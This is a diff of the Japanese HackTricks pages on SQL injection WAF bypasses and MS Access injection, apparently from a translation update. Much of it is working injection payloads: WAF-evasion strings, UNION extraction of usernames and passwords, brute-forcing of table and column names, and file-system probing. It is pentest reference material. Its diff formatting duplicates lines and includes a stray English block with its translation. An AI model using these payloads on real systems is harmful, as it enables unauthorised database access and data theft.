このテクニックは、SQLインジェクション攻撃時にスペースを回避するためにコメントを使用する方法を示しています。コメントを使用することで、SQLクエリ内のスペースを無視することができ、攻撃の成功率を高めることができます。 攻撃者は、SQLインジェクション攻撃を実行する際に、SQLクエリ内のスペースを回避するために、コメントを使用することができます。コメントを使用することで、SQLクエリの一部を無効にし、攻撃者が意図したコードを実行させることが可能となります。
例えば、以下のようなSQLクエリがあるとします
```sql
SELECT * FROM users WHERE username = 'admin' AND password = 'password'
```
攻撃者は、以下のようにコメントを使用してスペースを回避することができます:
```sql
SELECT * FROM users WHERE username = 'admin'-- ' AND password = 'password'
```
このようにすることで、`AND password = 'password'` の部分がコメントとして無視され、攻撃者が任意の条件を挿入することが可能となります。
```sql ```sql
?id=1/*comment*/and/**/1=1/**/-- ?id=1/*comment*/and/**/1=1/**/--
``` ```
### No Whitespace - パーレンシスを使用してバイパスする ### No Whitespace - パーレンシスを使用してバイパスする
- **説明** このテクニックは、SQLインジェクション攻撃時にスペースを回避するために使用されます。通常、SQL文のキーワードと識別子の間にスペースが必要ですが、パーレンシス括弧を使用することでスペースを回避することができます。これにより、攻撃者はSQLインジェクション攻撃を実行し、目的のデータベースにアクセスすることが可能となります。
- パーレンシスを使用して、SQLインジェクションの検出を回避する方法です。
- **攻撃**
- 通常のSQLインジェクション攻撃では、スペースを使用してSQLクエリを分割します。しかし、このテクニックでは、パーレンシスを使用してスペースを回避し、攻撃を実行します。
- **例**
- 通常のSQLインジェクション: `1' OR '1'='1`
- パーレンシスを使用したSQLインジェクション: `1')OR('1'='1`
- **対策**
- パラメーターの入力検証とサニタイズを行い、プリペアドステートメントやORMを使用してSQLインジェクションを防止します。
```sql ```sql
?id=(1)and(1)=(1)-- ?id=(1)and(1)=(1)--
``` ```
### コンマをバイパスする ### コンマをバイパスする
OFFSET、FROM、JOINを使用してコンマをバイパスします。 オフセット、FROM、JOINを使用してコンマをバイパスします。
``` ```
LIMIT 0,1 -> LIMIT 1 OFFSET 0 LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1). SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
@ -503,10 +492,10 @@ OR -> || -> %7C%7C
> X -> not between 0 and X > X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null)) WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
``` ```
### 科学表記 WAF バイパス ### 科学表記 WAF バイパス
このトリックの詳細な説明は、[gosecure ブログ](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)で見つけることができます。\ このトリックの詳細な説明は、[gosecure ブログ](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)で見つけることができます。\
基本的に、WAF をバイパスするために予期しない方法で科学表記を使用できます。 基本的に、WAF をバイパスするために予期しない方法で科学表記を使用できます。
``` ```
-1' or 1.e(1) or '1'='1 -1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1 -1' or 1337.1337e1 or '1'='1
@ -514,9 +503,9 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
``` ```
### カラム名の制限をバイパスする ### カラム名の制限をバイパスする
まず最初に、**元のクエリとフラグを抽出したいテーブルが同じ数のカラムを持っている場合**、単に次のようにすることができます: `0 UNION SELECT * FROM flag` まず最初に、もし**元のクエリとフラグを抽出したいテーブルが同じ数のカラムを持っている**場合は、単に次のようにすることができます: `0 UNION SELECT * FROM flag`
カラム名を使用せずに、テーブルの3番目のカラムにアクセスすることが可能です。次のようなクエリを使用します: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`、したがって、これはsqlinjectionでは次のようになります: カラム名を使用せずに**テーブルの3番目のカラムにアクセスすることが可能**です。以下のようなクエリを使用します: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`、したがって、これはsqlinjectionでは次のようになります:
```bash ```bash
# This is an example with 3 columns that will extract the column number 3 # This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F; -1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
@ -543,18 +532,18 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野の技術とサイバーセキュリティ専門家にとっての熱い出会いの場です。 [**RootedCON**](https://www.rootedcon.com/) は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野の技術とサイバーセキュリティ専門家にとっての熱い出会いの場です。
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricks で会社を宣伝**したいですか?または、**PEASS の最新バージョンにアクセス**したいですかまたは、HackTricks を **PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業で働いていますか?** **HackTricks で会社を宣伝**したいですか?または、**PEASS の最新バージョンにアクセス**したいですか?または、**HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つけてください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけます
* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を手に入れましょう * [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を手に入れま
* **💬** [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォロー**してください * **💬** [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローします**。
* **ハッキングトリックを共有するために、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks) と [hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)** に PR を提出してください。 * **ハッキングトリックを共有するために、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks) と [hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)** に PR を提出してください。
</details> </details>

View file

@ -2,13 +2,13 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを入手してください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れ
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** * **ハッキングトリックを共有するために、PRを** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
@ -19,12 +19,12 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを入手してください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れ
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** * **ハッキングトリックを共有するために、PRを** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>

View file

@ -1,108 +1,170 @@
# MS Access SQLインジェクション # MS Access SQL Injection
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック</strong></summary> <summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする** - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。 - **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
## オンラインプレイグラウンド ## オンラインプレイグラウンド
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1) - [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
## DBの制限 ## DBの制限事項
### 文字列の連結 ### 文字列の連結
文字列の連結は `& (%26)``+ (%2b)` の文字で可能です。 文字列の連結は、`& (%26)`および`+ (%2b)`文字を使用して可能です。
```sql ```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00 1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00 1' UNION SELECT 'web' %26 'app' FROM table%00
``` ```
### コメント ### コメント
MS Accessにはコメントが存在しませんが、クエリの最後をNULL文字で削除することが可能だと言われています: MS Accessにはコメントがありませんが、NULL文字を使用してクエリの最後を削除することができるようです。
```sql ```sql
1' union select 1,2 from table%00 1' union select 1,2 from table%00
``` ```
If this is not working you could always fix the syntax of the query: もしこれがうまくいかない場合は、クエリの構文を修正することもできます:
もしこれがうまくいかない場合は、常にクエリの構文を修正することができます:
```sql ```sql
1' UNION SELECT 1,2 FROM table WHERE ''=' 1' UNION SELECT 1,2 FROM table WHERE ''='
``` ```
### スタッククエリ ### スタックされたクエリ
サポートされていません。 サポートされていません。
### LIMIT ### LIMIT
**`LIMIT`** 演算子は**実装されていません**。しかし、`TOP` 演算子を使用して、SELECT クエリの結果を**最初の N 行に限定することが可能です**。`TOP` は引数として整数を受け取り、返される行数を表します。 **`LIMIT`**演算子は**実装されていません**。ただし、`TOP`演算子を使用してSELECTクエリの結果を**最初のN行に制限することが可能**です。`TOP`は、返される行数を表す整数を引数として受け入れます。
```sql ```sql
1' UNION SELECT TOP 3 attr FROM table%00 1' UNION SELECT TOP 3 attr FROM table%00
``` ```
**`LAST`** を使用すると、**最後からの行**を取得できます。 **TOP**と同様に、**`LAST`**を使用して**最後からの行**を取得できます。
## UNION クエリ/サブクエリ ## UNIONクエリ/サブクエリ
SQLiでは通常、他のテーブルから情報を抽出するために新しいクエリを実行したいと思います。MS Accessでは、**サブクエリや追加のクエリでは `FROM` が指定されている必要があります**。\ SQLiでは通常、他のテーブルから情報を抽出するために新しいクエリをいかにして実行するかを考えることになります。MS Accessでは、**サブクエリや追加のクエリでは`FROM`が指定されている必要があります**。\
したがって、`UNION SELECT``UNION ALL SELECT`、条件内の括弧で囲まれた `SELECT` を実行する場合、常に **有効なテーブル名を伴う `FROM` を指定する必要があります**。\ したがって、`UNION SELECT`や`UNION ALL SELECT`、または条件で括弧内に`SELECT`を実行したい場合は、常に**有効なテーブル名を指定する必要があります**。\
って、**有効なテーブル名**を知る必要があります。 したがって、**有効なテーブル名**を知る必要があります。
```sql ```sql
-1' UNION SELECT username,password from users%00 -1' UNION SELECT username,password from users%00
``` ```
### チェーンイコール + サブストリング ### チェーンの等号 + サブストリング
{% hint style="warning" %} {% hint style="warning" %}
これにより、テーブルの名前を知らなくても、現在のテーブルの値を抽出することができます これにより、現在のテーブルの値を取得することができますが、テーブル名を知る必要はありません
{% endhint %} {% endhint %}
**MS Access** **`'1'=2='3'='asd'=false`** のような**奇妙な構文**が許可されています。通常、SQLインジェクションは **`WHERE`** 句の中にあるため、これを悪用することができます。 **MS Access** は **`'1'=2='3'='asd'=false`** などの **奇妙な構文** を許可します。通常、SQLインジェクションは **`WHERE`** 句の中にあるため、これを悪用することができます。
MS AccessデータベースでSQLiがあり、**カラム名がusernameである**と知っているまたは推測している場合、チェーンイコール技術を使用したときのWebアプリの異なるレスポンスを確認し、**`Mid`** 関数を使用してサブストリングを取得することで、**ブール型インジェクション**を使用して内容を抽出することができます。 MS AccessデータベースでSQLiがあるとし、1つの **カラム名がusername** であることを知っている(または推測している)場合、それが **`exfiltrate`** したいフィールドであるとします。チェーンの等号テクニックが使用されたときのWebアプリの異なる応答をチェックし、**`Mid`** 関数を使用して **サブストリング** を取得する **ブールインジェクション** を使用してコンテンツを **`exfiltrate`** することができます。
```sql ```sql
'=(Mid(username,1,3)='adm')=' '=(Mid(username,1,3)='adm')='
``` ```
テーブルの**名前**とダンプする**列**を知っている場合、`Mid`、`LAST`、`TOP`を組み合わせてブール型SQLiを介して**すべての情報を漏洩**させることができます: もし**テーブルの名前**と**ダンプする列**がわかっている場合は、`Mid`、`LAST`、`TOP`の組み合わせを使用して、ブール型SQLiを介してすべての情報を**漏洩**することができます。
```sql ```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')=' '=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
``` ```
_Feel free to check this in the online playground._ _オンラインプレイグラウンドで確認してみてください。_
### テーブル名のブルートフォース ### テーブル名の総当たり攻撃
チェーンイコールズ技術を使用して、以下のように**テーブル名をブルートフォース**することもできます: チェーンイコールテクニックを使用して、次のように**テーブル名を総当たり攻撃**することもできます:
```sql ```sql
'=(select+top+1+'lala'+from+<table_name>)=' '=(select+top+1+'lala'+from+<table_name>)='
``` ```
伝統的な方法も利用できます: ```md
## MS Access SQL Injection
### Introduction
In Microsoft Access databases, SQL injection can be performed using the same techniques as in other database systems. However, there are some differences in syntax and behavior that need to be considered when conducting SQL injection attacks against MS Access databases.
### Identifying MS Access
To determine if a website is using an MS Access database, you can look for file extensions like `.mdb` or `.accdb` in the URL or in error messages. Additionally, you can try injecting SQL commands to see if the database responds in a way that is consistent with MS Access.
### Basic SQL Injection
Basic SQL injection in MS Access involves manipulating SQL queries to extract, modify, or delete data from the database. This can be done by injecting SQL commands into input fields or parameters vulnerable to injection.
### Union-Based SQL Injection
Union-based SQL injection can be used in MS Access by injecting `UNION SELECT` statements into vulnerable input fields to retrieve data from other tables in the database.
### Error-Based SQL Injection
Error-based SQL injection in MS Access involves injecting SQL code that triggers database errors, revealing information about the database structure or data.
### Time-Based Blind SQL Injection
Time-based blind SQL injection can also be performed in MS Access by injecting SQL code that causes a delay in the database response, allowing an attacker to infer information based on the delay.
### Conclusion
SQL injection in MS Access databases follows similar principles to other databases, but understanding the specific syntax and behavior of MS Access is crucial for successful exploitation.
```
```html
<!-- Translation into Japanese -->
## MS Access SQLインジェクション
### はじめに
Microsoft Accessデータベースでは、他のデータベースシステムと同様の手法を使用してSQLインジェクションを実行できます。ただし、MS Accessデータベースに対するSQLインジェクション攻撃を実行する際に考慮すべき構文や動作にはいくつかの違いがあります。
### MS Accessの特定
ウェブサイトがMS Accessデータベースを使用しているかどうかを判断するには、URLやエラーメッセージに`.mdb`や`.accdb`などのファイル拡張子が含まれているかどうかを確認できます。さらに、SQLコマンドをインジェクションして、データベースがMS Accessに特有の方法で応答するかどうかを確認することもできます。
### 基本的なSQLインジェクション
MS Accessでの基本的なSQLインジェクションは、SQLクエリを操作してデータベースからデータを抽出、変更、削除することを含みます。これは、インジェクションに対して脆弱な入力フィールドやパラメータにSQLコマンドをインジェクションすることで行うことができます。
### ユニオンベースのSQLインジェクション
ユニオンベースのSQLインジェクションは、MS Accessでも使用できます。脆弱な入力フィールドに`UNION SELECT`ステートメントをインジェクションして、データベース内の他のテーブルからデータを取得することができます。
### エラーベースのSQLインジェクション
MS AccessでのエラーベースのSQLインジェクションは、データベースエラーをトリガーするSQLコードをインジェクションして、データベース構造やデータに関する情報を明らかにします。
### 時間ベースのブラインドSQLインジェクション
時間ベースのブラインドSQLインジェクションも、MS Accessで実行することができます。データベースの応答に遅延を引き起こすSQLコードをインジェクションすることで、攻撃者はその遅延に基づいて情報を推測することができます。
### 結論
MS AccessデータベースでのSQLインジェクションは、他のデータベースと同様の原則に従いますが、MS Accessの特定の構文や動作を理解することが成功した攻撃にとって重要です。
```
```
```sql ```sql
-1' AND (SELECT TOP 1 <table_name>)%00 -1' AND (SELECT TOP 1 <table_name>)%00
``` ```
オンラインプレイグラウンドで自由にチェックしてください。 _Feel free to check this in the online playground._
* Sqlmap 一般的なテーブル名: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt) * Sqlmap common table names: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* 別のリストはこちらにあります [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) * There is another list in [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
### 列名のブルートフォース ### Brute-Forcing Columns names
現在の列名を**ブルートフォース**することができます。チェーンイコールのトリックを使って: You can **brute-force current columns names** with the chaining equals trick with:
```sql ```sql
'=column_name=' '=column_name='
``` ```
または、**group by**を使用して: または、**group by** を使用して:
```sql ```sql
-1' GROUP BY column_name%00 -1' GROUP BY column_name%00
``` ```
または、以下の方法で**別のテーブル**の列名をブルートフォースできます: または、次のようにして、**異なるテーブル**の列名を総当たり攻撃することもできます:
```sql ```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)=' '=(SELECT TOP 1 column_name FROM valid_table_name)='
@ -110,28 +172,28 @@ _Feel free to check this in the online playground._
``` ```
### データのダンプ ### データのダンプ
既に[**チェーンイコールズ技術**](ms-access-sql-injection.md#chaining-equals-+-substring)について説明しました。これは**現在および他のテーブルからデータをダンプするために使用します**。しかし、他にも方法があります: すでに、[**chaining equals technique**](ms-access-sql-injection.md#chaining-equals-+-substring) **を使用して現在のテーブルおよび他のテーブルからデータをダンプする方法**について説明しました。しかし、他にも方法があります:
```sql ```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko') IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
``` ```
約すると、このクエリは「if-then」ステートメントを使用して、成功した場合は「200 OK」を、そうでない場合は「500 Internal Error」をトリガーします。TOP 10オペレーターを利用することで、最初の10件の結果を選択することができます。その後のLASTの使用により、10番目のタプルのみを考慮することができます。その値に対して、MIDオペレーターを使用することで、単純な文字比較を行うことができます。MIDとTOPのインデックスを適切に変更することで、「username」フィールドの内容をすべての行についてダンプすることができます。 するに、クエリは「if-then」ステートメントを使用して、成功した場合は「200 OK」をトリガーし、それ以外の場合は「500 Internal Error」をトリガーします。 TOP 10演算子を利用することで、最初の10件の結果を選択することが可能です。 LASTの後に使用することで、10番目のタプルのみを考慮できます。その値を使用して、MID演算子を使用して単純な文字の比較を行うことができます。 MIDとTOPのインデックスを適切に変更することで、すべての行の「username」フィールドの内容をダンプすることができます。
### 時間ベース ### 時間ベース
[https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)を確認してください。 [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)を参照してください。
### その他の興味深い関数 ### その他の興味深い関数
* `Mid('admin',1,1)` 位置1から長さ1の部分文字列を取得します初期位置は1です * `Mid('admin',1,1)`位置1から長さ1の部分文字列を取得します初期位置は1
* `LEN('1234')` 文字列の長さを取得します * `LEN('1234')`文字列の長さを取得します
* `ASC('A')` 文字のASCII値を取得します * `ASC('A')`文字のASCII値を取得します
* `CHR(65)` ASCII値から文字列を取得します * `CHR(65)`ASCII値から文字列を取得します
* `IIF(1=1,'a','b')` if then * `IIF(1=1,'a','b')`if then
* `COUNT(*)` アイテム数をカウントします * `COUNT(*)`:アイテムの数をカウントします
## テーブルの列挙 ## テーブルの列挙
[**こちら**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database)からデータベース内のテーブル名を取得するクエリを見ることができます: [**こちら**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database)から、テーブル名を取得するクエリを確認できます。
```sql ```sql
select MSysObjects.name select MSysObjects.name
from MSysObjects from MSysObjects
@ -141,56 +203,40 @@ and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*' and MSysObjects.name not like 'MSys*'
order by MSysObjects.name order by MSysObjects.name
``` ```
```markdown しかし、`MSysObjects` テーブルを読む権限がない場合に SQL インジェクションを見つけるのは非常に一般的です。
ただし、**`MSysObjects` テーブルを読み取る権限がない** SQLインジェクションを見つけることが非常に一般的です。
## ファイルシステムアクセス ## ファイルシステムアクセス
### Webルートディレクトリの完全なパス ### Web ルートディレクトリのフルパス
**Webルートの絶対パスを知ることは、さらなる攻撃を容易にする可能性があります**。アプリケーションエラーが完全に隠されていない場合、存在しないデータベースからデータを選択しようとすることでディレクトリパスが明らかになることがあります。 **Web ルートの絶対パスを知ることは、さらなる攻撃を容易にする可能性があります**。アプリケーションエラーが完全に隠されていない場合、ディレクトリパスは存在しないデータベースからデータを選択しようとして明らかにされることがあります。
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00` `http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Accessは、**エラーメッセージにWebディレクトリの完全なパス名を含んで応答します** MS Access は、**Web ディレクトリのフルパス名を含むエラーメッセージ**を返します
### ファイル列挙 ### ファイル列挙
以下の攻撃ベクトルを使用して、**リモートファイルシステム上のファイルの存在を推測することができます**。指定されたファイルが存在する場合、MS Accessはデータベース形式が無効であることを知らせるエラーメッセージをトリガーします: 次の攻撃ベクトルは、**リモートファイルシステム上のファイルの存在を推測する**ために使用できます。指定されたファイルが存在する場合、MS Access はデータベース形式が無効であることを通知するエラーメッセージをトリガーします。
